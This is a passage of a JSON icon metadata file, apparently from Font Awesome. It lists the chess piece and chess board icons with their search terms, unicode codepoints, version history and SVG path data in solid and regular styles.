      "terms": ["Black Chess Bishop", "board", "checkmate", "game", "strategy"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f43a",
    "label": "Chess Bishop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M128 0C110.3 0 96 14.3 96 32c0 16.1 11.9 29.4 27.4 31.7C78.4 106.8 8 190 8 288c0 47.4 30.8 72.3 56 84.7V400H256V372.7c25.2-12.5 56-37.4 56-84.7c0-37.3-10.2-72.4-25.3-104.1l-99.4 99.4c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L270.8 154.6c-23.2-38.1-51.8-69.5-74.2-90.9C212.1 61.4 224 48.1 224 32c0-17.7-14.3-32-32-32H128zM48 432L6.6 473.4c-4.2 4.2-6.6 10-6.6 16C0 501.9 10.1 512 22.6 512H297.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L272 432H48z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M128 0C110.3 0 96 14.3 96 32c0 16.1 11.9 29.4 27.4 31.7C78.4 106.8 8 190 8 288c0 47.4 30.8 72.3 56 84.7V400H256V372.7c25.2-12.5 56-37.4 56-84.7c0-37.3-10.2-72.4-25.3-104.1l-99.4 99.4c-6.2 6.2-16.4 6.2-22.6 0s-6.2-16.4 0-22.6L270.8 154.6c-23.2-38.1-51.8-69.5-74.2-90.9C212.1 61.4 224 48.1 224 32c0-17.7-14.3-32-32-32H128zM48 432L6.6 473.4c-4.2 4.2-6.6 10-6.6 16C0 501.9 10.1 512 22.6 512H297.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L272 432H48z"
      },
      "regular": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M104 0C90.7 0 80 10.7 80 24c0 11.2 7.6 20.6 18 23.2c-7.8 8-16.1 17-24.4 27C38.2 116.7 0 178.8 0 250.9c0 44.8 24.6 72.2 48 87.8V352H96V325c0-9-5-17.2-13-21.3c-18-9.3-35-24.7-35-52.7c0-55.5 29.8-106.8 62.4-145.9c16-19.2 32.1-34.8 44.2-45.5c1.9-1.7 3.7-3.2 5.3-4.6c1.7 1.4 3.4 3 5.3 4.6c12.1 10.7 28.2 26.3 44.2 45.5c5.3 6.3 10.5 13 15.5 20L159 191c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l57.8-57.8c12.8 25.9 21.2 54.3 21.2 83.8c0 28-17 43.4-35 52.7c-8 4.1-13 12.3-13 21.3v27h48V338.7c23.4-15.6 48-42.9 48-87.8c0-72.1-38.2-134.2-73.6-176.7c-8.3-9.9-16.6-19-24.4-27c10.3-2.7 18-12.1 18-23.2c0-13.3-10.7-24-24-24H160 104zM52.7 464l16.6-32H250.8l16.6 32H52.7zm207.9-80H59.5c-12 0-22.9 6.7-28.4 17.3L4.6 452.5c-3 5.8-4.6 12.2-4.6 18.7C0 493.8 18.2 512 40.8 512H279.2c22.5 0 40.8-18.2 40.8-40.8c0-6.5-1.6-12.9-4.6-18.7l-26.5-51.2c-5.5-10.6-16.5-17.3-28.4-17.3z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M104 0C90.7 0 80 10.7 80 24c0 11.2 7.6 20.6 18 23.2c-7.8 8-16.1 17-24.4 27C38.2 116.7 0 178.8 0 250.9c0 44.8 24.6 72.2 48 87.8V352H96V325c0-9-5-17.2-13-21.3c-18-9.3-35-24.7-35-52.7c0-55.5 29.8-106.8 62.4-145.9c16-19.2 32.1-34.8 44.2-45.5c1.9-1.7 3.7-3.2 5.3-4.6c1.7 1.4 3.4 3 5.3 4.6c12.1 10.7 28.2 26.3 44.2 45.5c5.3 6.3 10.5 13 15.5 20L159 191c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l57.8-57.8c12.8 25.9 21.2 54.3 21.2 83.8c0 28-17 43.4-35 52.7c-8 4.1-13 12.3-13 21.3v27h48V338.7c23.4-15.6 48-42.9 48-87.8c0-72.1-38.2-134.2-73.6-176.7c-8.3-9.9-16.6-19-24.4-27c10.3-2.7 18-12.1 18-23.2c0-13.3-10.7-24-24-24H160 104zM52.7 464l16.6-32H250.8l16.6 32H52.7zm207.9-80H59.5c-12 0-22.9 6.7-28.4 17.3L4.6 452.5c-3 5.8-4.6 12.2-4.6 18.7C0 493.8 18.2 512 40.8 512H279.2c22.5 0 40.8-18.2 40.8-40.8c0-6.5-1.6-12.9-4.6-18.7l-26.5-51.2c-5.5-10.6-16.5-17.3-28.4-17.3z"
      }
    },
    "free": ["regular", "solid"]
  },
  "chess-board": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f43c"]
      }
    },
    "changes": [
      "5.0.5",
      "5.7.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["board", "checkmate", "game", "strategy"]
    },
    "styles": ["solid"],
    "unicode": "f43c",
    "label": "Chess Board",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1678474324,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 64v64h64V96h64v64h64V96h64v64H320v64h64v64H320v64h64v64H320V352H256v64H192V352H128v64H64V352h64V288H64V224h64V160H64V96h64zm64 128h64V160H192v64zm0 64V224H128v64h64zm64 0H192v64h64V288zm0 0h64V224H256v64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm64 64v64h64V96h64v64h64V96h64v64H320v64h64v64H320v64h64v64H320V352H256v64H192V352H128v64H64V352h64V288H64V224h64V160H64V96h64zm64 128h64V160H192v64zm0 64V224H128v64h64zm64 0H192v64h64V288zm0 0h64V224H256v64z"
      }
    },
    "free": ["solid"]
  },
  "chess-king": {
    "aliases": {
      "unicodes": {
        "composite": ["265a"],
        "secondary": ["10f43f"]
      }
    },
    "changes": ["5.0.5", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Black Chess King", "board", "checkmate", "game", "strategy"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f43f",
    "label": "Chess King",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 0c17.7 0 32 14.3 32 32V48h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H256v48H408c22.1 0 40 17.9 40 40c0 5.3-1 10.5-3.1 15.4L368 400H80L3.1 215.4C1 210.5 0 205.3 0 200c0-22.1 17.9-40 40-40H192V112H176c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V32c0-17.7 14.3-32 32-32zM38.6 473.4L80 432H368l41.4 41.4c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H54.6C42.1 512 32 501.9 32 489.4c0-6 2.4-11.8 6.6-16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 0c17.7 0 32 14.3 32 32V48h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H256v48H408c22.1 0 40 17.9 40 40c0 5.3-1 10.5-3.1 15.4L368 400H80L3.1 215.4C1 210.5 0 205.3 0 200c0-22.1 17.9-40 40-40H192V112H176c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V32c0-17.7 14.3-32 32-32zM38.6 473.4L80 432H368l41.4 41.4c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H54.6C42.1 512 32 501.9 32 489.4c0-6 2.4-11.8 6.6-16z"
      },
      "regular": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M248 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V56H168c-13.3 0-24 10.7-24 24s10.7 24 24 24h32v40H59.6C26.7 144 0 170.7 0 203.6c0 8.2 1.7 16.3 4.9 23.8L59.1 352h52.3L49 208.2c-.6-1.5-1-3-1-4.6c0-6.4 5.2-11.6 11.6-11.6H224 388.4c6.4 0 11.6 5.2 11.6 11.6c0 1.6-.3 3.2-1 4.6L336.5 352h52.3l54.2-124.6c3.3-7.5 4.9-15.6 4.9-23.8c0-32.9-26.7-59.6-59.6-59.6H248V104h32c13.3 0 24-10.7 24-24s-10.7-24-24-24H248V24zM101.2 432H346.8l16.6 32H84.7l16.6-32zm283.7-30.7c-5.5-10.6-16.5-17.3-28.4-17.3H91.5c-12 0-22.9 6.7-28.4 17.3L36.6 452.5c-3 5.8-4.6 12.2-4.6 18.7C32 493.8 50.2 512 72.8 512H375.2c22.5 0 40.8-18.2 40.8-40.8c0-6.5-1.6-12.9-4.6-18.7l-26.5-51.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M248 24c0-13.3-10.7-24-24-24s-24 10.7-24 24V56H168c-13.3 0-24 10.7-24 24s10.7 24 24 24h32v40H59.6C26.7 144 0 170.7 0 203.6c0 8.2 1.7 16.3 4.9 23.8L59.1 352h52.3L49 208.2c-.6-1.5-1-3-1-4.6c0-6.4 5.2-11.6 11.6-11.6H224 388.4c6.4 0 11.6 5.2 11.6 11.6c0 1.6-.3 3.2-1 4.6L336.5 352h52.3l54.2-124.6c3.3-7.5 4.9-15.6 4.9-23.8c0-32.9-26.7-59.6-59.6-59.6H248V104h32c13.3 0 24-10.7 24-24s-10.7-24-24-24H248V24zM101.2 432H346.8l16.6 32H84.7l16.6-32zm283.7-30.7c-5.5-10.6-16.5-17.3-28.4-17.3H91.5c-12 0-22.9 6.7-28.4 17.3L36.6 452.5c-3 5.8-4.6 12.2-4.6 18.7C32 493.8 50.2 512 72.8 512H375.2c22.5 0 40.8-18.2 40.8-40.8c0-6.5-1.6-12.9-4.6-18.7l-26.5-51.2z"
      }
    },
    "free": ["regular", "solid"]
  },
  "chess-knight": {
    "aliases": {
      "unicodes": {
        "composite": ["265e"],
        "secondary": ["10f441"]
      }
    },
    "changes": ["5.0.5", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Chess Knight",
        "board",
        "checkmate",
        "game",
        "horse",
        "strategy"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f441",
    "label": "Chess Knight",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 48L82.7 61.3C70.7 73.3 64 89.5 64 106.5V238.9c0 10.7 5.3 20.7 14.2 26.6l10.6 7c14.3 9.6 32.7 10.7 48.1 3l3.2-1.6c2.6-1.3 5-2.8 7.3-4.5l49.4-37c6.6-5 15.7-5 22.3 0c10.2 7.7 9.9 23.1-.7 30.3L90.4 350C73.9 361.3 64 380 64 400H384l28.9-159c2.1-11.3 3.1-22.8 3.1-34.3V192C416 86 330 0 224 0H83.8C72.9 0 64 8.9 64 19.8c0 7.5 4.2 14.3 10.9 17.7L96 48zm24 68a20 20 0 1 1 40 0 20 20 0 1 1 -40 0zM22.6 473.4c-4.2 4.2-6.6 10-6.6 16C16 501.9 26.1 512 38.6 512H409.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L384 432H64L22.6 473.4z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 48L82.7 61.3C70.7 73.3 64 89.5 64 106.5V238.9c0 10.7 5.3 20.7 14.2 26.6l10.6 7c14.3 9.6 32.7 10.7 48.1 3l3.2-1.6c2.6-1.3 5-2.8 7.3-4.5l49.4-37c6.6-5 15.7-5 22.3 0c10.2 7.7 9.9 23.1-.7 30.3L90.4 350C73.9 361.3 64 380 64 400H384l28.9-159c2.1-11.3 3.1-22.8 3.1-34.3V192C416 86 330 0 224 0H83.8C72.9 0 64 8.9 64 19.8c0 7.5 4.2 14.3 10.9 17.7L96 48zm24 68a20 20 0 1 1 40 0 20 20 0 1 1 -40 0zM22.6 473.4c-4.2 4.2-6.6 10-6.6 16C16 501.9 26.1 512 38.6 512H409.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L384 432H64L22.6 473.4z"
      },
      "regular": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M226.6 48H117.3l17.1 12.8c6 4.5 9.6 11.6 9.6 19.2s-3.6 14.7-9.6 19.2l-6.5 4.9c-10 7.5-16 19.3-16 31.9l-.3 91c0 10.2 4.9 19.9 13.2 25.8l1.9 1.3c9.9 7.1 23.3 7 33.2-.1l49.9-36.3c10.7-7.8 25.7-5.4 33.5 5.3s5.4 25.7-5.3 33.5l-49.9 36.3-53.8 39.1c-7.3 5.3-13 12.2-16.9 20.1H66.8c5.3-22.1 17.8-41.9 35.9-56.3c-1.3-.8-2.6-1.7-3.8-2.6L97 291.8c-21-15-33.4-39.2-33.3-65l.3-91c.1-19.8 6.7-38.7 18.6-53.9l-.4-.3C70.7 73 64 59.6 64 45.3C64 20.3 84.3 0 109.3 0H226.6C331.2 0 416 84.8 416 189.4c0 11.1-1 22.2-2.9 33.2L390.1 352H341.3l24.5-137.8c1.5-8.2 2.2-16.5 2.2-24.8C368 111.3 304.7 48 226.6 48zM85.2 432L68.7 464H379.3l-16.6-32H85.2zm315.7-30.7l26.5 51.2c3 5.8 4.6 12.2 4.6 18.7c0 22.5-18.2 40.8-40.8 40.8H56.8C34.2 512 16 493.8 16 471.2c0-6.5 1.6-12.9 4.6-18.7l26.5-51.2C52.5 390.7 63.5 384 75.5 384h297c12 0 22.9 6.7 28.4 17.3zM172 128a20 20 0 1 1 0 40 20 20 0 1 1 0-40z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M226.6 48H117.3l17.1 12.8c6 4.5 9.6 11.6 9.6 19.2s-3.6 14.7-9.6 19.2l-6.5 4.9c-10 7.5-16 19.3-16 31.9l-.3 91c0 10.2 4.9 19.9 13.2 25.8l1.9 1.3c9.9 7.1 23.3 7 33.2-.1l49.9-36.3c10.7-7.8 25.7-5.4 33.5 5.3s5.4 25.7-5.3 33.5l-49.9 36.3-53.8 39.1c-7.3 5.3-13 12.2-16.9 20.1H66.8c5.3-22.1 17.8-41.9 35.9-56.3c-1.3-.8-2.6-1.7-3.8-2.6L97 291.8c-21-15-33.4-39.2-33.3-65l.3-91c.1-19.8 6.7-38.7 18.6-53.9l-.4-.3C70.7 73 64 59.6 64 45.3C64 20.3 84.3 0 109.3 0H226.6C331.2 0 416 84.8 416 189.4c0 11.1-1 22.2-2.9 33.2L390.1 352H341.3l24.5-137.8c1.5-8.2 2.2-16.5 2.2-24.8C368 111.3 304.7 48 226.6 48zM85.2 432L68.7 464H379.3l-16.6-32H85.2zm315.7-30.7l26.5 51.2c3 5.8 4.6 12.2 4.6 18.7c0 22.5-18.2 40.8-40.8 40.8H56.8C34.2 512 16 493.8 16 471.2c0-6.5 1.6-12.9 4.6-18.7l26.5-51.2C52.5 390.7 63.5 384 75.5 384h297c12 0 22.9 6.7 28.4 17.3zM172 128a20 20 0 1 1 0 40 20 20 0 1 1 0-40z"
      }
    },
    "free": ["regular", "solid"]
  },
  "chess-pawn": {
    "aliases": {
      "unicodes": {
        "composite": ["265f"],
        "secondary": ["10f443"]
      }
    },
    "changes": ["5.0.5", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "board",
        "checkmate",
        "chess",
        "chess pawn",
        "dupe",
        "expendable",
        "game",
        "strategy"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f443",
    "label": "Chess Pawn",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M215.5 224c29.2-18.4 48.5-50.9 48.5-88c0-57.4-46.6-104-104-104S56 78.6 56 136c0 37.1 19.4 69.6 48.5 88H96c-17.7 0-32 14.3-32 32c0 16.5 12.5 30 28.5 31.8L80 400H240L227.5 287.8c16-1.8 28.5-15.3 28.5-31.8c0-17.7-14.3-32-32-32h-8.5zM22.6 473.4c-4.2 4.2-6.6 10-6.6 16C16 501.9 26.1 512 38.6 512H281.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L256 432H64L22.6 473.4z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M215.5 224c29.2-18.4 48.5-50.9 48.5-88c0-57.4-46.6-104-104-104S56 78.6 56 136c0 37.1 19.4 69.6 48.5 88H96c-17.7 0-32 14.3-32 32c0 16.5 12.5 30 28.5 31.8L80 400H240L227.5 287.8c16-1.8 28.5-15.3 28.5-31.8c0-17.7-14.3-32-32-32h-8.5zM22.6 473.4c-4.2 4.2-6.6 10-6.6 16C16 501.9 26.1 512 38.6 512H281.4c12.5 0 22.6-10.1 22.6-22.6c0-6-2.4-11.8-6.6-16L256 432H64L22.6 473.4z"
      },
      "regular": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M232 152A72 72 0 1 0 88 152a72 72 0 1 0 144 0zm24 120H243.4l10.7 80H205.7L195 272H160 125l-10.7 80H65.9l10.7-80H64c-13.3 0-24-10.7-24-24s10.7-24 24-24c-15.1-20.1-24-45-24-72C40 85.7 93.7 32 160 32s120 53.7 120 120c0 27-8.9 51.9-24 72c13.3 0 24 10.7 24 24s-10.7 24-24 24zM52.7 464H267.3l-16.6-32H69.2L52.7 464zm207.9-80c12 0 22.9 6.7 28.4 17.3l26.5 51.2c3 5.8 4.6 12.2 4.6 18.7c0 22.5-18.2 40.8-40.8 40.8H40.8C18.2 512 0 493.8 0 471.2c0-6.5 1.6-12.9 4.6-18.7l26.5-51.2C36.5 390.7 47.5 384 59.5 384h201z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M232 152A72 72 0 1 0 88 152a72 72 0 1 0 144 0zm24 120H243.4l10.7 80H205.7L195 272H160 125l-10.7 80H65.9l10.7-80H64c-13.3 0-24-10.7-24-24s10.7-24 24-24c-15.1-20.1-24-45-24-72C40 85.7 93.7 32 160 32s120 53.7 120 120c0 27-8.9 51.9-24 72c13.3 0 24 10.7 24 24s-10.7 24-24 24zM52.7 464H267.3l-16.6-32H69.2L52.7 464zm207.9-80c12 0 22.9 6.7 28.4 17.3l26.5 51.2c3 5.8 4.6 12.2 4.6 18.7c0 22.5-18.2 40.8-40.8 40.8H40.8C18.2 512 0 493.8 0 471.2c0-6.5 1.6-12.9 4.6-18.7l26.5-51.2C36.5 390.7 47.5 384 59.5 384h201z"
      }
    },
    "free": ["regular", "solid"]
  },
  "chess-queen": {
    "aliases": {
      "unicodes": {
        "composite": ["265b"],
        "secondary": ["10f445"]
      }
    },
    "changes": ["5.0.5", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Black Chess Queen", "board", "checkmate", "game", "strategy"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f445",
    "label": "Chess Queen",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0a56 56 0 1 1 0 112A56 56 0 1 1 256 0zM134.1 143.8c3.3-13 15-23.8 30.2-23.8c12.3 0 22.6 7.2 27.7 17c12 23.2 36.2 39 64 39s52-15.8 64-39c5.1-9.8 15.4-17 27.7-17c15.3 0 27 10.8 30.2 23.8c7 27.8 32.2 48.3 62.1 48.3c10.8 0 21-2.7 29.8-7.4c8.4-4.4 18.9-4.5 27.6 .9c13 8 17.1 25 9.2 38L399.7 400H384 343.6 168.4 128 112.3L5.4 223.6c-7.9-13-3.8-30 9.2-38c8.7-5.3 19.2-5.3 27.6-.9c8.9 4.7 19 7.4 29.8 7.4c29.9 0 55.1-20.5 62.1-48.3zM256 224l0 0 0 0h0zM112 432H400l41.4 41.4c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H86.6C74.1 512 64 501.9 64 489.4c0-6 2.4-11.8 6.6-16L112 432z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0a56 56 0 1 1 0 112A56 56 0 1 1 256 0zM134.1 143.8c3.3-13 15-23.8 30.2-23.8c12.3 0 22.6 7.2 27.7 17c12 23.2 36.2 39 64 39s52-15.8 64-39c5.1-9.8 15.4-17 27.7-17c15.3 0 27 10.8 30.2 23.8c7 27.8 32.2 48.3 62.1 48.3c10.8 0 21-2.7 29.8-7.4c8.4-4.4 18.9-4.5 27.6 .9c13 8 17.1 25 9.2 38L399.7 400H384 343.6 168.4 128 112.3L5.4 223.6c-7.9-13-3.8-30 9.2-38c8.7-5.3 19.2-5.3 27.6-.9c8.9 4.7 19 7.4 29.8 7.4c29.9 0 55.1-20.5 62.1-48.3zM256 224l0 0 0 0h0zM112 432H400l41.4 41.4c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H86.6C74.1 512 64 501.9 64 489.4c0-6 2.4-11.8 6.6-16L112 432z"
      },
      "regular": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-95.2-8c-18.1 0-31.3 12.8-35.6 26.9c-8 26.2-32.4 45.2-61.2 45.2c-10 0-19.4-2.3-27.7-6.3c-7.6-3.7-16.7-3.3-24 1.2C.7 162.1-3.1 177.1 3.7 188.9L97.6 352H153l-83-144.1c40.5-2.2 75.3-25.9 93.1-59.8c22 26.8 55.4 43.9 92.8 43.9s70.8-17.1 92.8-43.9c17.8 34 52.6 57.7 93.1 59.8L359 352h55.4l93.9-163.1c6.8-11.7 3-26.7-8.6-33.8c-7.3-4.5-16.4-4.9-24-1.2c-8.4 4-17.7 6.3-27.7 6.3c-28.8 0-53.2-19-61.2-45.2C382.5 100.8 369.3 88 351.2 88c-14.5 0-26.3 8.5-32.4 19.3c-12.4 22-35.9 36.7-62.8 36.7s-50.4-14.8-62.8-36.7C187.1 96.5 175.4 88 160.8 88zM133.2 432H378.8l16.6 32H116.7l16.6-32zm283.7-30.7c-5.5-10.6-16.5-17.3-28.4-17.3h-265c-12 0-22.9 6.7-28.4 17.3L68.6 452.5c-3 5.8-4.6 12.2-4.6 18.7c0 22.5 18.2 40.8 40.8 40.8H407.2c22.5 0 40.8-18.2 40.8-40.8c0-6.5-1.6-12.9-4.6-18.7l-26.5-51.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-95.2-8c-18.1 0-31.3 12.8-35.6 26.9c-8 26.2-32.4 45.2-61.2 45.2c-10 0-19.4-2.3-27.7-6.3c-7.6-3.7-16.7-3.3-24 1.2C.7 162.1-3.1 177.1 3.7 188.9L97.6 352H153l-83-144.1c40.5-2.2 75.3-25.9 93.1-59.8c22 26.8 55.4 43.9 92.8 43.9s70.8-17.1 92.8-43.9c17.8 34 52.6 57.7 93.1 59.8L359 352h55.4l93.9-163.1c6.8-11.7 3-26.7-8.6-33.8c-7.3-4.5-16.4-4.9-24-1.2c-8.4 4-17.7 6.3-27.7 6.3c-28.8 0-53.2-19-61.2-45.2C382.5 100.8 369.3 88 351.2 88c-14.5 0-26.3 8.5-32.4 19.3c-12.4 22-35.9 36.7-62.8 36.7s-50.4-14.8-62.8-36.7C187.1 96.5 175.4 88 160.8 88zM133.2 432H378.8l16.6 32H116.7l16.6-32zm283.7-30.7c-5.5-10.6-16.5-17.3-28.4-17.3h-265c-12 0-22.9 6.7-28.4 17.3L68.6 452.5c-3 5.8-4.6 12.2-4.6 18.7c0 22.5 18.2 40.8 40.8 40.8H407.2c22.5 0 40.8-18.2 40.8-40.8c0-6.5-1.6-12.9-4.6-18.7l-26.5-51.2z"
      }
    },
    "free": ["regular", "solid"]
  },
  "chess-rook": {
    "aliases": {
      "unicodes": {
        "composite": ["265c"],
        "secondary": ["10f447"]
      }
    },
    "changes": ["5.0.5", "5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Black Chess Rook",
        "board",
        "castle",
        "checkmate",
        "game",
        "strategy"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f447",
    "label": "Chess Rook",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M32 192V48c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16V88c0 4.4 3.6 8 8 8h32c4.4 0 8-3.6 8-8V48c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16V88c0 4.4 3.6 8 8 8h32c4.4 0 8-3.6 8-8V48c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16V192c0 10.1-4.7 19.6-12.8 25.6L352 256l16 144H80L96 256 44.8 217.6C36.7 211.6 32 202.1 32 192zm176 96h32c8.8 0 16-7.2 16-16V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c0 8.8 7.2 16 16 16zM22.6 473.4L64 432H384l41.4 41.4c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H38.6C26.1 512 16 501.9 16 489.4c0-6 2.4-11.8 6.6-16z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M32 192V48c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16V88c0 4.4 3.6 8 8 8h32c4.4 0 8-3.6 8-8V48c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16V88c0 4.4 3.6 8 8 8h32c4.4 0 8-3.6 8-8V48c0-8.8 7.2-16 16-16h64c8.8 0 16 7.2 16 16V192c0 10.1-4.7 19.6-12.8 25.6L352 256l16 144H80L96 256 44.8 217.6C36.7 211.6 32 202.1 32 192zm176 96h32c8.8 0 16-7.2 16-16V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c0 8.8 7.2 16 16 16zM22.6 473.4L64 432H384l41.4 41.4c4.2 4.2 6.6 10 6.6 16c0 12.5-10.1 22.6-22.6 22.6H38.6C26.1 512 16 501.9 16 489.4c0-6 2.4-11.8 6.6-16z"
      },
      "regular": {
        "last_modified": 1684767070,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M80 80V192c0 2.5 1.2 4.9 3.2 6.4l51.2 38.4c6.8 5.1 10.4 13.4 9.5 21.9L133.5 352H85.2l9.4-85L54.4 236.8C40.3 226.2 32 209.6 32 192V72c0-22.1 17.9-40 40-40H376c22.1 0 40 17.9 40 40V192c0 17.6-8.3 34.2-22.4 44.8L353.4 267l9.4 85H314.5l-10.4-93.3c-.9-8.4 2.7-16.8 9.5-21.9l51.2-38.4c2-1.5 3.2-3.9 3.2-6.4V80H304v24c0 13.3-10.7 24-24 24s-24-10.7-24-24V80H192v24c0 13.3-10.7 24-24 24s-24-10.7-24-24V80H80zm4.7 384H363.3l-16.6-32H101.2L84.7 464zm271.9-80c12 0 22.9 6.7 28.4 17.3l26.5 51.2c3 5.8 4.6 12.2 4.6 18.7c0 22.5-18.2 40.8-40.8 40.8H72.8C50.2 512 32 493.8 32 471.2c0-6.5 1.6-12.9 4.6-18.7l26.5-51.2C68.5 390.7 79.5 384 91.5 384h265zM208 288c-8.8 0-16-7.2-16-16V224c0-17.7 14.3-32 32-32s32 14.3 32 32v48c0 8.8-7.2 16-16 16H208z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
